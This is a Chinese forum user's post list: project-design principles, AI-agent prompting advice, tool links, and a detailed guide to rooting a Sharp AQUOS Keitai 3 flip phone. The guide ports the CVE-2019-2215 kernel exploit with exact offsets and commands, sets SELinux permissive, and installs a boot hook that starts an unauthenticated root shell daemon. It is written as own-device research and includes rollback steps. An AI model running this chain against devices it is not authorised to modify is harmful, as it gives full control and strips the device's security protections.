帖子

• AI 新建项目 目录结构基础 约束

  1. 先定边界，再做实现。
     明确目标、不做什么、完成标准；新增需求先判断是否属于核心职责，能通过扩展解决的能力优先外置。

  2. 共享事实只维护一份。
     版本、限制、协议等共同依赖的信息应有唯一权威来源，其他位置通过引用或生成获取，避免人工同步。

  3. 按变化原因划分模块。
     经常一起变化的逻辑放在一起，独立变化的逻辑分开；入口负责组织调用，模块各自承担清晰职责。

  4. 让依赖、状态和生命周期显式可见。
     减少循环依赖与隐式全局，明确启动、停止、连接和清理过程，使状态可查询、问题可定位。

  5. 先定义契约，也定义失败。
     对外接口应明确输入、输出、错误、资源限制与兼容性；调用方应能区分执行失败、尚未完成和已经生效。

  6. 把重复约束变成自动检查。
     能生成的内容不手改，能机械验证的一致性不依赖记忆；生成过程应可重复，写入失败不能破坏已有内容。

  7. 让文档各司其职。
     分清入门、设计、接口、验证和交接信息，同一事实避免重复维护；历史内容明确归档，随交付物提供的说明必须独立可用。

  8. 让验证方式匹配真实风险。
     纯逻辑用快速测试，跨环境行为用真实集成验收，复杂交互辅以人工检查；简化环境中的通过不能替代用户环境中的证据。

  9. 验证具体结果，也验证失败原因。
     不只检查是否成功，还要确认关键输出、状态变化和预期错误；区分环境未就绪与产品缺陷，让失败能够复现。

  10. 把变更做成可审查、可交接的闭环。
      分开重构与行为变化，同步实现、契约、验证和说明；发布前核对交付内容，记录已知限制，并保留可追溯的版本。

  发布在 IE地球

  四

  四折光曲
  
• SHARP NP805SH ROOT 笔记

  设备：SHARP SG805SH/NP805SH/AQUOS ケータイ3
  平台：Qualcomm MSM8909 ｜ Android 8.1.0 ｜ Linux 3.18.71-perf
  结果：重启自动生效的完整 capabilities root，无需再运行 exploit。
  用厂商公开的内核源码逐字节复现编译 → 从带 DWARF 的 vmlinux 导出结构体偏移 → 移植 CVE-2019-2215 拿临时 root → （SELinux 策略 + install-recovery.sh 钩子 + rootd 守护进程）永久化。

  1. 资源

  资源	地址	说明
  Sharp OSS 页面	https://k-tai.sharp.co.jp/support/developers/oss/aquos-keitai3/index.html	必须用**商品名「AQUOS ケータイ3」**检索，型番 SG805SH 搜不到
  内核源码	http://ad-dl02.4sh.jp/developers/oss/aquos-keitai3/index_v2/download/AQUOS_keitai3_S0018.tar.gz	171,646,693 字节，md5 d0a7aa6d16cf9441731f61697660f88d
  ARM 工具链	AOSP prebuilts arm-eabi-4.8（android-8.1.0_r1 分支）	与设备编译器版本一致
  CVE-2019-2215 报告	Project Zero issue 1942	Jann Horn & Maddie Stone
  ARM32 移植 ★	https://github.com/flipphoneguy/root-sonim-xp3800	946 行，含 docs/arm32-port.md，本文 exploit 基于它
  3.18 PoC 参考	CrackerCat/cve2019-2215-3.18、Karma2424/cve2019-2215-3.18	3.18 分支专用
  基础 PoC	timwr/CVE-2019-2215	流传最广的版本

  2. 复现官方内核

  没有正确的内核符号地址无从定位 exploit ，selinux_enforcing 与 cred 偏移。MSM8909 已 EOL，但 Sharp 公开了源码。

  2.1 环境

  • WSL2 / Ubuntu 22.04（.wslconfig 设 networkingMode=mirrored）
  • arm-eabi-4.8（AOSP prebuilts）、pahole、secilc

  2.2 配置与编译

  设备原厂内核配置位于 /proc/config.gz（4375 行，世界可读），直接套用：

  tar xzf AQUOS_keitai3_S0018.tar.gz \
      "AQUOS_keitai3_S0018/LINUX/android/kernel/msm-3.18"
  cp device.config ./msm-3.18/.config
  make ARCH=arm CROSS_COMPILE=$TC olddefconfig
  

  配置：

  CONFIG_RANDOMIZE_BASE        ❌  → 无 KASLR，内核地址固定
  CONFIG_SLAB_FREELIST_RANDOM  ❌  → 堆风水可控
  CONFIG_DEBUG_INFO            ✅  → vmlinux 自带 DWARF
  CONFIG_KALLSYMS_ALL          ✅
  

  编译命令：

  export KBUILD_BUILD_USER=sharp
  export KBUILD_BUILD_HOST=TG840314
  export KBUILD_BUILD_VERSION=1
  export KBUILD_BUILD_TIMESTAMP="Thu Oct 24 03:44:25 JST 2019"   # ★ 必须逐字一致
  HCF="-Wall -Wmissing-prototypes -Wstrict-prototypes -O2 -fomit-frame-pointer -std=gnu89 -fcommon"
  make ARCH=arm CROSS_COMPILE=$TC CC=${TC}gcc HOSTCFLAGS="$HCF" -j20 vmlinux
  

  四个编译问题：

  1. scripts/gcc-wrapper.py 是 Python2 → 命令行覆盖 CC=${TC}gcc
  2. dtc 报 yylloc 多重定义（GCC10+ 默认 -fno-common）→ HOSTCFLAGS 补 -fcommon
  3. msm_sensor.h 找不到头文件 → sensor/io/Makefile 补 -I
  4. f_midi.c 找不到 u_f.h → drivers/usb/gadget/Makefile 补 -I

  关键：KBUILD_BUILD_TIMESTAMP 必须与设备构建时间逐字一致。版本串长度哪怕差一个字符，.data 段整体偏移，符号地址全废。

  2.3 一致性验证（决定性一步）

  strings vmlinux | grep -m1 'Linux version'
  # 期望：
  # Linux version 3.18.71-perf (sharp@TG840314) (gcc version 4.8 (GCC) )
  #   #1 SMP PREEMPT Thu Oct 24 03:44:25 JST 2019
  

  版本串逐字节一致还不够。设备 /proc/kallsyms 有 131,900 条符号，本地 System.map 有 128,305 条，最长连续匹配块达到 26,055 个符号。拿到 root 后用真机地址最终核对：

  符号	本地 System.map	设备运行值
  commit_creds	c0138e84	c0138e84
  selinux_enforcing	c146ef24	c146ef24
  init_cred	c13171d0	c13171d0
  sys_call_table	c0106b84	c0106b84

  3. 导出结构体偏移

  CONFIG_DEBUG_INFO=y 的 vmlinux 自带完整 DWARF，直接用 pahole 读：

  pahole -C binder_thread vmlinux
  pahole -C task_struct  vmlinux
  pahole -C thread_info  vmlinux
  pahole -C cred         vmlinux
  

  实测结果：

  struct binder_thread           size 0x134 (308)   → 落在 kmalloc-512
      wait_queue_head_t wait     0x50
      struct task_struct *task   0x130              ← UAF 后残留，可泄露
  struct task_struct
      void *stack                0x004
      const struct cred *cred    0x3AC              ← ★ 需要替换
  struct thread_info
      addr_limit                 0x008
  struct cred
      uid 0x004, securebits 0x024,
      cap_inheritable 0x028, cap_permitted 0x030,
      cap_effective 0x038, cap_bset 0x040, cap_ambient 0x048
  

  4. 移植 CVE-2019-2215

  4.1

  CVE-2019-2215 是 binder 驱动的 use-after-free。MSM8909 EOL 后厂商没有把 binder 修复 backport 到 3.18 的 MSM8909 分支。审计 drivers/staging/android/binder.c 确认：

  poll_wait(filp, &thread->wait, wait);      // 脆弱写法依然存在
  // binder_thread_release() 里缺少：
  //   wake_up_poll(&thread->wait, POLLHUP | POLLFREE);
  

  检查项	结果
  POLLFREE 出现次数	0
  EPOLLFREE 出现次数	0
  /dev/binder 权限	crw-rw-rw-（任意进程可打开）

  对照：较新机型（如 SH-03M）的源码里 POLLFREE 存在，走不通。

  4.2 只改 2 个常量

  基于 flipphoneguy/root-sonim-xp3800 的 ARM32 移植版，仅需改两处：

  #define SELINUX_ENFORCING          0xc146ef24ul   /* 原值 0xc1310ae8 */
  #define OFFSET__task_struct__cred  0x3AC          /* 原值 0x39C */
  

  其余偏移与本机完全一致：

  BINDER_THREAD_SZ   0x134
  WAITQUEUE_OFFSET   0x50
  IOVEC_ARRAY_SZ     38        (0x134 / 8)
  IOVEC_INDX_FOR_WQ  10        (0x50 / 8，ARM32 下正好对齐)
  

  4.3 编译

  arm-linux-gnueabi-gcc -static -O2 -w -o exploit_arm exploit.c
  # 产物：673,424 字节，ELF32 ARM，静态链接
  

  ARM32 对齐、管道时序、两阶段泄露的细节见仓库 docs/arm32-port.md，不再展开。

  5. 获取临时 Root

  adb push exploit_arm /data/local/tmp/
  adb shell chmod 755 /data/local/tmp/exploit_arm
  adb shell /data/local/tmp/exploit_arm id
  

  预期输出：

  [*] CVE-2019-2215 exploit for SHARP AQUOS Keitai 3 (SG805SH/NP805SH)
  [*] start uid=2000 euid=2000
  [+] ===== ROOT ===== uid=0 euid=0 gid=0
  uid=0(root) gid=0(root) groups=0(root)
  getenforce → Permissive
  

  ️ exploit 存在竞态，约 1/5 概率导致内核 panic 重启（只会重启，不会变砖）。多试几次即可。
  临时 root 只在本次进程树内有效，重启就没了——真正的工作在永久化。

  6. 永久化：三件套

  6.0

  Android 权限是三层叠加，缺任何一层都拿不到「完整 root」：

  层	障碍	现象	解法
  SELinux（domain）	shell 域没有 capability setuid	avc: denied { setuid }，想写 enforce 又被拒（鸡生蛋）	改策略，把 shell / install_recovery 域设为 permissive
  capability（bounding set）	adbd 的 bounding set 只有 0xc0	setuid 二进制无论如何突破不了	让 init 启动守护进程，继承完整的 0x3fffffffff
  DAC（uid）	需要 root uid	—	前两者解决后自然获得

  实测证据：

  adbd(shell):  CapBnd = 00000000000000c0     ← 只有 setgid / setuid
  init(pid 1):  CapBnd = 0000003fffffffff     ← 完整 38 个能力
  

  这解释了为什么单纯做一个 setuid su 不行——uid 变成 0 但能力位不够，mount、读 /data/data 等依旧失败。

  6.1 A：SELinux 策略改造

  可行性前提：/system 无 dm-verity、无 AVB；init 优先加载预编译策略；plat 与 vendor 侧的 .sha256 内容相同（都指向未修改的 CIL），init 判定「预编译策略有效」直接加载 /vendor 里替换的那份。

  # 1) 用临时 root 拉取原始策略集合
  adb shell "/data/local/tmp/exploit_arm sh -c \
      'cp -r /system/etc/selinux /data/local/tmp/selinux; chmod -R 777 /data/local/tmp/selinux'"
  adb pull /data/local/tmp/selinux ./selinux
  adb pull /vendor/etc/selinux/precompiled_sepolicy ./precompiled_orig.bin
  # 2) 在 plat_sepolicy.cil 末尾追加两行
  cat >> selinux/plat_sepolicy.cil <<'EOF'
  (typepermissive shell)
  (typepermissive install_recovery)
  EOF
  # 3) 编译（★ 策略版本必须 30，对应 3.18 的 POLICYDB_VERSION_MAX）
  secilc -c 30 -o final_policy.bin \
      selinux/plat_sepolicy.cil \
      selinux/mapping/27.0.cil \
      selinux/nonplat_sepolicy.cil
  # 产物：435,814 字节
  

  风险控制：一定要先在 PC 侧用 secilc 完整编译验证通过再推到设备。策略语法错误可能导致无法开机。

  6.2 B：开机钩子 install-recovery.sh

  /init.rc 里有一个 oneshot 服务，以 init 身份执行脚本（没有 seclabel，不做域转换）：

  service flash_recovery /system/bin/install-recovery.sh
      class main
      oneshot
  

  脚本末尾追加，即可拿到完整 bounding set，顺便设 permissive：

  # --- 永久 root：设 permissive + 启动 root shell 守护进程 ---
  echo 0 > /sys/fs/selinux/enforce
  /system/bin/setsid /system/xbin/rootd 2323 </dev/null >/dev/null 2>&1 &
  

  保留原逻辑只追加这段；权限 750，标签 u:object_r:install_recovery_exec:s0。

  6.3 C：root 守护进程 rootd

  极简静态 C 程序（591,088 字节），监听 127.0.0.1:<port>，每个连接 fork 一个 shell：

  bind(... INADDR_LOOPBACK ...);
  accept → fork → dup2 → execl("/system/bin/sh", "sh", "-i", NULL);
  

  被 init 启动所以继承完整 capabilities——这是「完整 root」的关键。

  arm-linux-gnueabi-gcc -static -O2 -w -o rootd rootd.c
  

  7. 部署与验证

  7.1 部署顺序（全部通过临时 root 执行）

  # 0) 推入产物
  adb push final_policy.bin    /data/local/tmp/final.policy
  adb push rootd               /data/local/tmp/rootd
  adb push su_arm              /data/local/tmp/su_arm
  # 1) 替换 SELinux 策略（先备份原始策略）
  adb shell "/data/local/tmp/exploit_arm sh -c '\
      cp /vendor/etc/selinux/precompiled_sepolicy /data/local/tmp/precompiled_sepolicy.orig; \
      mount -o remount,rw /vendor; \
      cp /data/local/tmp/final.policy /vendor/etc/selinux/precompiled_sepolicy; \
      chown 0:0 /vendor/etc/selinux/precompiled_sepolicy; \
      chmod 644 /vendor/etc/selinux/precompiled_sepolicy; \
      chcon u:object_r:vendor_file:s0 /vendor/etc/selinux/precompiled_sepolicy; \
      sync; mount -o remount,ro /vendor'"
  # 2) 修改开机钩子（先备份原文件，再追加 6.2 那段）
  adb shell "/data/local/tmp/exploit_arm sh -c '\
      mount -o remount,rw /system; \
      cp /system/bin/install-recovery.sh /data/local/tmp/install-recovery.sh.orig; \
      printf \"\n# --- permanent root ---\necho 0 > /sys/fs/selinux/enforce\n/system/bin/setsid /system/xbin/rootd 2323 </dev/null >/dev/null 2>&1 &\n\" >> /system/bin/install-recovery.sh; \
      chown 0:0 /system/bin/install-recovery.sh; chmod 750 /system/bin/install-recovery.sh; \
      chcon u:object_r:install_recovery_exec:s0 /system/bin/install-recovery.sh; \
      sync; mount -o remount,ro /system'"
  # 3) 部署 rootd 与备用 su
  adb shell "/data/local/tmp/exploit_arm sh -c '\
      mount -o remount,rw /system; \
      cp /data/local/tmp/rootd /system/xbin/rootd; \
      cp /data/local/tmp/su_arm /system/xbin/su; \
      chown 0:0 /system/xbin/rootd /system/xbin/su; \
      chmod 755 /system/xbin/rootd; chmod 4755 /system/xbin/su; \
      chcon u:object_r:system_file:s0 /system/xbin/rootd /system/xbin/su; \
      sync; mount -o remount,ro /system'"
  # 4) 重启（此后不再需要 exploit）
  adb reboot
  

  7.2 验证

  adb forward tcp:2323 tcp:2323
  # 连接 127.0.0.1:2323，即得 root shell
  

  期望：

  uid=0(root) gid=0(root) groups=0(root)  context=u:r:install_recovery:s0
  CapEff: 0000003fffffffff      ← 完整能力
  CapBnd: 0000003fffffffff      ← 完整 bounding set
  mount -o remount,rw /system            → OK
  ls /data/data/com.android.settings     → OK
  cat /proc/kallsyms | grep commit_creds → c0138e84 T commit_creds
  

  8. Root 之后怎么用

  adb forward tcp:2323 tcp:2323
  

  PowerShell 一行示例：

  $c = New-Object Net.Sockets.TcpClient('127.0.0.1', 2323)
  $s = $c.GetStream()
  $w = New-Object IO.StreamWriter($s); $w.AutoFlush = $true
  $w.WriteLine("id")
  Start-Sleep 2
  (New-Object IO.StreamReader($s)).ReadToEnd()
  

  两条备用通道：setuid su（uid=0，能力受限）adb shell /system/xbin/su id；exploit（完整 root，约 1/5 概率 panic）adb shell /data/local/tmp/exploit_arm id。

  9. 设备上的文件清单

  路径	内容	大小 / 权限
  /vendor/etc/selinux/precompiled_sepolicy	重编译 permissive 策略	435,814 字节
  /system/bin/install-recovery.sh	开机钩子（原逻辑 + 三行追加）	750
  /system/xbin/rootd	root shell 守护进程	591,088 字节
  /system/xbin/su	setuid root（备用）	590,704 字节（4755）
  /data/local/tmp/exploit_arm	CVE-2019-2215 exploit（备用）	673,424 字节

  回滚备份：/data/local/tmp/precompiled_sepolicy.orig、/data/local/tmp/install-recovery.sh.orig。

  10. 回滚

  通过 root shell 执行：

  mount -o remount,rw /vendor
  cp /data/local/tmp/precompiled_sepolicy.orig /vendor/etc/selinux/precompiled_sepolicy
  mount -o remount,ro /vendor
  mount -o remount,rw /system
  cp /data/local/tmp/install-recovery.sh.orig /system/bin/install-recovery.sh
  rm -f /system/xbin/rootd /system/xbin/su
  chmod 750 /system/bin/install-recovery.sh
  mount -o remount,ro /system
  

  11. 安全提醒

  Root 之后设备安全性明显下降：SELinux 全局 Permissive；shell / install_recovery 域在策略层面被设为 permissive；/system/xbin/su 是 setuid-root，任何能执行它的进程都能拿到 uid 0；rootd 在 127.0.0.1:2323 提供无认证 root shell；/vendor 与 /system 已被修改。请只在自己的设备上操作，需要恢复请见第 10 节。

  12. 复盘：为什么这台机器能成

  1. 「设备真名」决定检索成败——型番 SG805SH 一无所获，商品名「AQUOS ケータイ3」就能找到官方内核源码；
  2. EOL 芯片的补丁缺口——MSM8909 停更，厂商没有 backport binder 补丁，CVE-2019-2215 可用；
  3. Android 权限是三层叠加——DAC / capability bounding set / SELinux，任缺一层都拿不到「完整 root」；本文分别用 setuid、init 启动、策略修改把三层补齐；
  4. 精确复现内核是前提——和真机逐字节对齐的符号地址，exploit 才不需要盲猜；
  5. CONFIG_DEBUG_INFO=y 的 vmlinux 是宝库——pahole 直接读出所有结构体偏移。

  本文为安全研究与设备修复目的撰写，所有操作均在自己的设备上进行。

  发布在 IE地球

  四

  四折光曲
  
• Win11 关闭 WSAIFabricSvc AI 服务

  关闭 WorkloadsSessionHost / WSAIFabricSvc

  停用并禁用 WSAIFabricSvc，清理 WorkloadsSessionHost 进程，即可彻底关闭本地 AI 推理运行时，Recall、Click to Do、语义搜索等本机 AI 功能，可逆。

  <!--more-->

  操作

  PowerShell 粘贴以下命令

  Start-Process powershell -Verb RunAs -ArgumentList '-NoExit','-Command','Set-Service WSAIFabricSvc -StartupType Disabled; Stop-Service WSAIFabricSvc -Force; Get-Process WorkloadsSessionHost -EA 0 | Stop-Process -Force'
  

  若已在管理员终端中，直接执行：

  Set-Service WSAIFabricSvc -StartupType Disabled
  Stop-Service WSAIFabricSvc -Force
  Get-Process WorkloadsSessionHost -EA 0 | Stop-Process -Force
  

  验证 / 恢复

  Get-Service WSAIFabricSvc | Format-List Name,StartType,Status
  Set-Service WSAIFabricSvc -StartupType Automatic
  Start-Service WSAIFabricSvc
  

  发布在 软件教程

  四

  四折光曲
  
• RE: 哈基 项目推荐

  开源 windows 防火墙

  

  GitHub - tnodir/fort: Fort Firewall for Windows

  Fort Firewall for Windows. Contribute to tnodir/fort development by creating an account on GitHub.

  

  GitHub (github.com)

  发布在 软件教程

  四

  四折光曲
  
• RE: 哈基 项目推荐

  

  GitHub - chenglou/pretext: Fast, accurate & comprehensive text measurement & layout

  Fast, accurate & comprehensive text measurement & layout - chenglou/pretext

  

  GitHub (github.com)

  超高性能的 js 网页文字动态排版工具

  发布在 软件教程

  四

  四折光曲
  
• AI Agent 协作：提示词工程与免费网页对话 AI

  AI agent 协作是复合能力：提示词工程、领域知识、管理能力、评估迭代、工具理解。管理视角是好框架，但落到执行，提示词是把目标变成 agent 输入的唯一通道，两者不是对立而是分工。比争论归因更有用的是可操作的流程：不熟悉的架构先用免费网页 AI 摸清整个流程、确定技术栈，输出完整 plan 再派给 agent；出了问题先和免费 AI 会诊，再把结论精确转达。AI 既放大表达漏洞，也放大认知上限——所以把想清楚的成本花在免费的地方，把执行的成本花在想清楚之后。

  一、两类工具的成本结构不同

  对话 AI 和 agent 的差异，本质不是“聊天和干活”，而是试错成本不同。
  网页对话 AI（免费档的 DeepSeek、豆包、ChatGPT 之类）免费或包月，一轮一纠偏，说错了重来没有额外代价。适合陪你想清楚。
  agent 按 token 烧钱，自主跑几十步，走偏了错误会复利，发现越晚代价越大。适合执行已经想清楚的事。
  推论：没想清楚的事，先跟对话 AI 想清楚；想清楚的方案，交给 agent 执行。这是参谋与执行的分工，也是本文的核心。
  边界：熟悉的代码库、小的可逆改动，可以让 agent 直接干。摸底流程是给陌生领域和大决策用的。

  二、核心流程：先摸底，再定方案，后派活

  以「给内部系统对接钉钉审批流，但你从没做过」为例。

  1. 用免费对话 AI 摸清流程

  问的问题比得到的答案重要：

  • 主流实现方式有哪几种？各自的代价？
  • 需要哪些 API、SDK、权限申请？
  • 典型的坑在哪？
  • 描述一个典型架构和完整调用链。

  警惕一点：对话 AI 有知识截止日期，SDK 版本、API 名称、参数可能记错。关键事实去官方文档核对。它给的是地图，不是路况。
  但是现在大多数都带有网络搜索功能，询问最新。

  2. 收敛技术栈和架构

  让它对比方案，逼它给出选型理由（「方案 A 在我的场景下会撞上什么问题」），最后你拍板。决策留在人手里。

  3. 产出具体 plan

  让对话 AI 起草分步计划，每步带验收标准。你自己过一遍，砍掉不认同的步骤。此时的 plan 应具体到：做什么、用什么、怎么算做完。

  4. 派活给 agent

  plan 之外，任务单里必须写环境事实：语言版本、已有依赖、相关文件位置、不能碰的东西。agent 不知道你的环境，它会拿训练数据里的“典型环境”脑补——大量幻觉来源于此。

  5. 出问题：先会诊，再精确转达

  agent 报错或产出不对时，不要丢一句「再试一次」。把报错原文和相关代码贴给免费对话 AI 会诊，得出结论后，压缩成明确指令转达：

  token 获取逻辑有误：改为每次请求前检查 access_token 过期时间，过期先刷新。只改 auth.py，其他不动。
  绕这一道的原因：

  • agent 自主试错烧 token 和时间，且可能在错误方向上跑远；
  • 会诊过程会产生大量已否定的思路，整段贴过去会污染上下文；
  • 会诊逼你把问题想清楚，转达时自然精确。
    精确转达的原则：给结论和处方，不给过程；给报错原文，不给你的转述。

  三、任务单怎么写

  提示词工程落到 agent 场景，就是一张像样的任务单。
  差的写法：

  帮我加个登录功能。

  好的写法：

  目标：为现有 FastAPI 项目添加 JWT 登录。
  现状：结构见 README；用户表在 app/models/user.py；已用 sqlalchemy。
  范围：只新增 auth 相关文件，不改数据库 schema。
  验收：POST /login 返回 token；GET /me 用 token 鉴权通过；新增 pytest 测试全绿。
  约束：用 pyjwt，不引入新框架。
  流程：先列出实施步骤和涉及文件，我确认后再写代码。
  

  六个字段对应的正是经典管理问题：目标（要什么）、现状（上下文）、范围（授权边界）、验收（怎么算完成）、约束（红线）、流程（检查点）。提示词工程和管理能力在一张任务单上汇合。
  验收标准最考验领域知识：你不知道什么是「对」，就写不出可测试的标准，也就永远无法验收。
  两个高性价比技巧：

  • 复述确认：让 agent 先复述它理解的任务和步骤，确认后再执行。目标错位在最便宜的时候被发现。
  • 先方案后动手：任务单末尾加一句「先给方案，我确认后再改代码」。这是人工批准门禁的提示词实现，既避免微操，也避免甩手。

  四、上下文管理

  上下文是稀缺资源，管理它就是管理注意力。

  • 给相关的，不给全部。贴三个关键文件，胜过丢整个仓库。
  • 记决策，不记流水账。会话结束让 agent 总结「已确定的事项」，下个会话带摘要进场，不带几十轮聊天记录。
  • shorthand 有效，但依赖长期协作积累。新会话、新 agent，别默认它听得懂你的黑话。

  五、失败诊断：症状 → 层级 → 处方

  Agent 失败先分层再动手，避免把模型能力问题归咎于自己的提示词，反之亦然。

  症状	层级	处方
  产出与目标南辕北辙	目标层	重写目标与验收；用复述确认
  方向对，细节错	提示层	补上下文：相关代码、接口、示例
  编造不存在的 API 或参数	模型层	贴官方文档片段、锁定版本；或换模型
  工具调用失败、文件没改上	工具层	查权限、路径、配置
  前几步对，越跑越偏	流程层	任务太大，拆步、加检查点
  同一处反复改不收敛	评估层	给可测的验收标准，贴报错原文

  六、管理类比的适用边界

  顺手说清：agent 无动机、无跨会话记忆、不随协作成长，所以激励、培养、组织政治这些管理要素不适用。适用的部分是目标设定、授权边界、检查点、验收标准——而它们恰恰都要通过提示词落地。

  七、实践清单

  1. 陌生领域：先用免费对话 AI 摸底，官方文档核对版本和 API。
  2. 技术栈、架构：会诊收敛，人拍板。
  3. 派活前：写六字段任务单，验收标准必须可测试。
  4. 大任务：拆步、设检查点，关键节点人工批准。
  5. 出错：先会诊，精确转达，不整段转贴聊天记录。
  6. 跨会话：带决策摘要，不带流水账。
  7. 反复修不好：先分层诊断，再考虑换模型或改流程。
  8. 对模型：不神化，不贬低，认识边界。

  管理能力决定方向和稳定性，提示词能力决定每一环的执行质量。而想不清楚的问题，agent 不会替你想清楚，只会替你执行混乱。把想清楚的成本花在免费的对话里，把执行的成本花在想清楚之后。

  发布在 IE地球

  四

  四折光曲
  
• RE: 哈基 项目推荐

  

  GitHub - FreshRSS/FreshRSS: A free, self-hostable news aggregator…

  A free, self-hostable news aggregator…. Contribute to FreshRSS/FreshRSS development by creating an account on GitHub.

  

  GitHub (github.com)

  发布在 软件教程

  四

  四折光曲
  
• RE: MoeCounterRe

  对元素njs项目进行了rust重构，不再需要nodejs或php，占用更低性能更好

  发布在 IE地球

  四

  四折光曲
  
• Newppp 取名自随机

  个人使用的代理工具，依赖UDP环境

  模拟浏览器的数据流，TLS+内置双加密

  占用极低，速度极快，网络环境较好时可以跑满千兆宽带下行
  （测试为联通1000兆家庭宽带）

  只提供了http代理和socks5代理出口为，需要连接第三方客户端（V2ray等）进行分流等

  开源地址：https://github.com/Raven777777/newppp

  发布在 IE地球

  四

  四折光曲
  
• RE: 哈基 项目推荐

  

  GitHub - iOfficeAI/OfficeCLI: OfficeCLI is the first and best Office suite purpose-built for AI agents to read, edit, and automate Word, Excel, and PowerPoint files. Free, open-source, single binary, no Office installation required.

  OfficeCLI is the first and best Office suite purpose-built for AI agents to read, edit, and automate Word, Excel, and PowerPoint files. Free, open-source, single binary, no Office installation required. - iOfficeAI/OfficeCLI

  

  GitHub (github.com)

  发布在 软件教程

  四

  四折光曲